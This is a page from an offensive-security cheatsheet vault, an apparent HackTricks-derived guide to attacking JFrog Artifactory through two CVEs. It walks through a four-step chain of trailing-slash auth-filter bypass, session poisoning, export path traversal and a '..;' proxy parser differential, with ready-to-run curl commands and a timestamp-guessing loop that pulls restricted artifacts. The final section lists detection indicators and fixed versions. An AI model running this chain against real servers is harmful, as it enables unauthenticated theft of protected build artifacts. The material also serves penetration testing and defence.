daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

artifactory-hacking-guide.md (11440B)


      1 ---
      2 title: "Artifactory Hacking Guide"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Artifactory Hacking Guide
     14 
     15 The linked guide collects practical Artifactory testing notes covering anonymous access, repository permissions, version-specific vulnerabilities, and post-exploitation paths. Validate every technique against the deployed Artifactory version because endpoints, defaults, and mitigations have changed over time.<sup>[[1]](#references)</sup>
     16 
     17 ## Anonymous JWT to restricted-artifact exfiltration
     18 
     19 A useful Artifactory review pattern is to follow an identity from the security filter chain into UI helpers, session objects, content-addressed storage, filesystem export code, and finally the reverse proxy. CVE-2026-42018 and CVE-2026-69107 demonstrate how four mismatches across those layers can turn an unauthenticated request into arbitrary restricted-artifact read.<sup>[[2]](#references)[[3]](#references)[[4]](#references)</sup>
     20 
     21 ### 1. Trailing-slash security-filter mismatch
     22 
     23 In vulnerable versions, the AWS token-exchange authentication filter exactly matches `POST /api/v1/aws/token`, but the JAX-RS resource also accepts `/api/v1/aws/token/`. The trailing slash makes Spring's `AntPathRequestMatcher` return false, so `OncePerRequestFilter.shouldNotFilter()` skips the AWS header and IAM-identity validation while the request still reaches the token handler. Test path variants—trailing and duplicate separators, encoded separators, dot segments, and path parameters—whenever a filter and resource router use different matchers.<sup>[[2]](#references)</sup>
     24 
     25 ```bash
     26 curl -sS -X POST \
     27   'https://artifactory/access/api/v1/aws/token/' \
     28   -H 'Content-Type: application/json' \
     29   -d '{}'
     30 ```
     31 
     32 After the intended filter is skipped, Spring's fallback anonymous filter populates the empty security context. The token resource uses `@SkipAuthorization`, reads only the context username, and mints a JWT without proving that AWS authentication established that identity. Artifactory's anonymous principal is a database user in the users role, so the returned `applied-permissions/user` token can satisfy endpoints guarded by `@RolesAllowed({"admin", "user"})` even when ordinary anonymous access is disabled.<sup>[[2]](#references)</sup>
     33 
     34 ```bash
     35 JWT='<access_token>'
     36 curl -sS 'https://artifactory/artifactory/api/system/version' \
     37   -H "Authorization: Bearer ${JWT}"
     38 ```
     39 
     40 This is broader than a login-form bypass: audit any credential-minting endpoint that trusts a generic `SecurityContext` principal. Require evidence that the expected mechanism authenticated the principal, rather than merely checking that some fallback identity exists. See also [Login Bypass](/hacktricks/pentesting-web/login-bypass/overview) and [403 & 401 Bypasses](/hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses).<sup>[[2]](#references)</sup>
     41 
     42 ### 2. ACL-free object hydration and session poisoning
     43 
     44 The deprecated stash feature accepts search-result models at `POST /artifactory/ui/stashResults`. For a `quick` result, attacker-controlled `repoKey` and `relativePath` values are combined into a `RepoPath`; `RepositoryServiceImpl.getItemInfo()` then returns a `FileInfo` with SHA-1/SHA-256, size, timestamps, and repository metadata without checking whether the caller may read that logical path. Existing and nonexistent artifact paths also produce distinguishable outcomes, creating a repository/artifact enumeration oracle.<sup>[[2]](#references)</sup>
     45 
     46 The same flow calls `request.getSession(true)` for a bearer-only request and stores the hydrated object under the attacker-controlled `name`. Consequently, the bearer JWT is upgraded to a stateful session containing privileged metadata for an otherwise unreadable artifact. This pattern is worth testing in search, clipboard, batch, export, backup, replication, and restore helpers: accepting an identifier and constructing a trusted internal object can bypass the normal object-level authorization layer.<sup>[[2]](#references)</sup>
     47 
     48 ```bash
     49 STASH='../opt/jfrog/artifactory/app/artifactory/tomcat/webapps/ROOT/markertag'
     50 
     51 curl -sk --path-as-is -D headers.txt -c cookies.txt -X POST \
     52   "https://artifactory/artifactory/ui/stashResults?name=${STASH}" \
     53   -H "Authorization: Bearer ${JWT}" \
     54   -H 'Content-Type: application/json' \
     55   -H 'X-Requested-With: artUI' \
     56   -d '[{"type":"quick","repoKey":"sample-repo","relativePath":"builds/sample/sample-v1.0.0"}]'
     57 ```
     58 
     59 A successful response sets a `SESSION` cookie and binds the restricted artifact's `FileInfo` to the traversal-shaped stash key. Retain both the JWT and cookie for the export request. This is an application-specific instance of [IDOR/BOLA](/hacktricks/pentesting-web/idor), but the referenced object is server-side metadata rather than a simple numeric record.<sup>[[2]](#references)</sup>
     60 
     61 ### 3. Content-addressed export plus secondary-component traversal
     62 
     63 Artifactory's export path dereferences the stashed object with `getBinary(sourceFile.getSha1(), headers)`; no repository ACL is rechecked immediately before the blob read. In a content-addressed system, possession of a valid digest or metadata object can therefore become equivalent to read permission if low-level export/restore code treats the digest as sufficient authority.<sup>[[2]](#references)</sup>
     64 
     65 The export endpoint validates the JSON body path, but later constructs a child directory from the unvalidated stash name and a timestamp:
     66 
     67 ```java
     68 String baseExportName = searchResults.getName() + "-" + timestamp;
     69 File tmpExportDir = new File(validatedBaseDir, baseExportName);
     70 ```
     71 
     72 Validating only `validatedBaseDir` is insufficient. A stash name beginning with `../` survives the concatenation, and `FileUtils.forceMkdir()` resolves it when creating the final parent. Validation must canonicalize the **complete destination after every attacker-controlled component is appended** and then verify that it remains below the export root. See [File Inclusion and Path Traversal](/hacktricks/pentesting-web/file-inclusion/overview).<sup>[[2]](#references)</sup>
     73 
     74 The security-relevant export request fields are the same traversal-shaped `name`, a permitted base such as `/tmp`, and the session that contains the poisoned stash object. Other JSON flags may be required by the deployed endpoint schema.<sup>[[2]](#references)</sup>
     75 
     76 ```bash
     77 curl -sk --path-as-is -D export-headers.txt -b cookies.txt -X POST \
     78   "https://artifactory/artifactory/ui/stashResults/export?name=${STASH}" \
     79   -H "Authorization: Bearer ${JWT}" \
     80   -H 'Content-Type: application/json' \
     81   -H 'X-Requested-With: artUI' \
     82   -d '{"path":"/tmp"}'
     83 ```
     84 
     85 With the example stash name, the restricted blob is copied beneath Tomcat's unauthenticated static root in a directory named `markertag-yyyyMMdd.HHmmss`. The HTTP response `Date` header bounds the timestamp search; the original research found that testing the response second and the preceding two seconds was sufficient. Exporting a protected object into an unprotected web root bypasses its logical repository ACL even though the vulnerable API never returns the bytes directly.<sup>[[2]](#references)</sup>
     86 
     87 If the attacker also controls the source artifact's content and filename, this becomes a constrained arbitrary-file-write primitive. Do not claim RCE without separately accounting for the mandatory timestamped parent directory, retained source filename, extensions, and permissions; the demonstrated chain used the write only for exfiltration.<sup>[[2]](#references)</sup>
     88 
     89 ### 4. jf-router/Tomcat path-parser differential
     90 
     91 In a typical deployment, `jf-router`/Traefik exposes a route matching `^/artifactory/(.*)$` and forwards it to Tomcat on `localhost:8081`. The frontend matches and forwards a raw `/artifactory/..;/...` path, while Tomcat strips the semicolon path parameter, obtains a `..` segment, and normalizes into its root web application. One URL therefore both selects the backend route and escapes the `/artifactory` context.<sup>[[2]](#references)</sup>
     92 
     93 Use a client that preserves the raw path; curl otherwise normalizes dot segments before transmission:
     94 
     95 ```bash
     96 curl -si --path-as-is \
     97   'https://artifactory/artifactory/..;/index.html'
     98 ```
     99 
    100 A vulnerable route returns Tomcat's root `index.html` rather than an Artifactory-context resource. After export, request candidate timestamped directories through the same differential:<sup>[[2]](#references)</sup>
    101 
    102 ```bash
    103 TAG='markertag'
    104 for TS in 20260713.112308 20260713.112307 20260713.112306; do
    105   code=$(curl -sk --path-as-is -o /tmp/artifact -w '%{http_code}' \
    106     "https://artifactory/artifactory/..;/${TAG}-${TS}/sample-v1.0.0")
    107   [ "$code" = 200 ] && sha256sum /tmp/artifact && break
    108 done
    109 ```
    110 
    111 When port 8081 is directly reachable, the `..;` routing step is unnecessary and the timestamped static path can be requested from Tomcat directly. For other stacks, compare the raw and normalized path at every hop and test semicolon parameters, trailing slashes, duplicate separators, encoded separators, and mixed encodings. See [Proxy/WAF Protections Bypass](/hacktricks/pentesting-web/proxy-waf-protections-bypass) and [Tomcat path traversal](/hacktricks/network-services-pentesting/pentesting-web/tomcat/overview#path-traversal-exploit).<sup>[[2]](#references)</sup>
    112 
    113 ## Detection and remediation
    114 
    115 High-signal review points for this chain include the following.<sup>[[2]](#references)</sup>
    116 
    117 - `POST /access/api/v1/aws/token/` with a trailing slash, especially followed by anonymous-user JWT activity.
    118 - Tokens for `anonymous` whose description is `Generated access token for Aws assumed role token exchange`.
    119 - Bearer-authenticated `/artifactory/ui/stashResults` and `/stashResults/export` requests that also create/use a `SESSION` cookie.
    120 - Stash names containing `../`, installation paths, or `tomcat/webapps/ROOT`.
    121 - Unexpected `name-yyyyMMdd.HHmmss` directories beneath the Tomcat root application.
    122 - Raw URLs containing `/artifactory/..;/`, particularly repeated requests across adjacent timestamps.
    123 
    124 CVE-2026-42018 is fixed in 7.146.8. CVE-2026-69107 is fixed in 7.104.16, 7.111.14, 7.117.21, 7.125.14, 7.133.21, and 7.146.8 for the corresponding maintained branches. Upgrade to a fixed release, prevent direct external access to backend ports and internal router administration endpoints, and inspect the Tomcat web root and access logs for the indicators above.<sup>[[2]](#references)[[3]](#references)[[4]](#references)</sup>
    125 
    126 ## References
    127 
    128 - [1] [Guillaume Quéré - Artifactory Hacking Guide](https://www.errno.fr/artifactory/Attacking_Artifactory)
    129 - [2] [Daniil Vylegzhanin (NetSPI) - Stealing the Artifact: Chaining JFrog Artifactory Authentication, Authorization, Path Traversal, and URL Parsing Vulnerabilities](https://www.netspi.com/blog/technical-blog/red-teaming/stealing-the-artifact-jfrog-artifactory-vulnerability/)
    130 - [3] [JFrog CNA record - CVE-2026-42018](https://www.cve.org/CVERecord?id=CVE-2026-42018)
    131 - [4] [JFrog CNA record - CVE-2026-69107](https://www.cve.org/CVERecord?id=CVE-2026-69107)